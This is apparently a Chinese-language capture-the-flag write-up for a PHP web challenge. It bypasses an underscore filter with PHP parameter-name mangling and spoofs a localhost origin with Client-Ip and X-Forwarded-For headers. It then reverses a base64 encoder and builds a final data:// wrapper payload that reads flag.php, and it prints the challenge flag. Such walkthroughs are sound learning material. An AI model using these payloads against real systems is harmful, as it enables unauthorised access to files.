打开题目,查看源代码,有提示
有两层过滤
1.过滤"_"与"%5f" 。
这里要求的参数必须是"b_u_p_t"但是不能检测出"_"。这里看着很作弄人。其实这里要用到php里非法参数名的问题。可以参考一下博客
?b.u.p.t=23333%0a
看到提示,flag在FLAG is in secrettw.php
访问secrettw.php
说我能更聪明
直接访问
ip不对,需要127.0.0.1。抓包
数据包传递ip我知道有两种。
X-Forwarded-For:127.0.0.1
Client-Ip:127.0.0.1
都试一下,第二个正确
看到一堆外星语,JavaScript语言,复制解码,找网站运行,发现需要破石头请求
看到最后源码
//逆向代码
<?php
$v="flag.php";
$re='';
for($i=0;$i<strlen($v);$i++)
{
$re.=chr(ord($v[$i])-$i*2);
}
$v1=base64_encode($re);
echo $v1;
?>
//v1=ZmpdYSZmXGI=
.change函数,先进行base64解码,在对每一位的ascii码加上i*2。很简单写一个逆函数就行
最终payload:/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI=,然后抓包修改下地址信息,结果如下:
flag{c8cf3dad-15b4-4a55-9344-51e749df0029}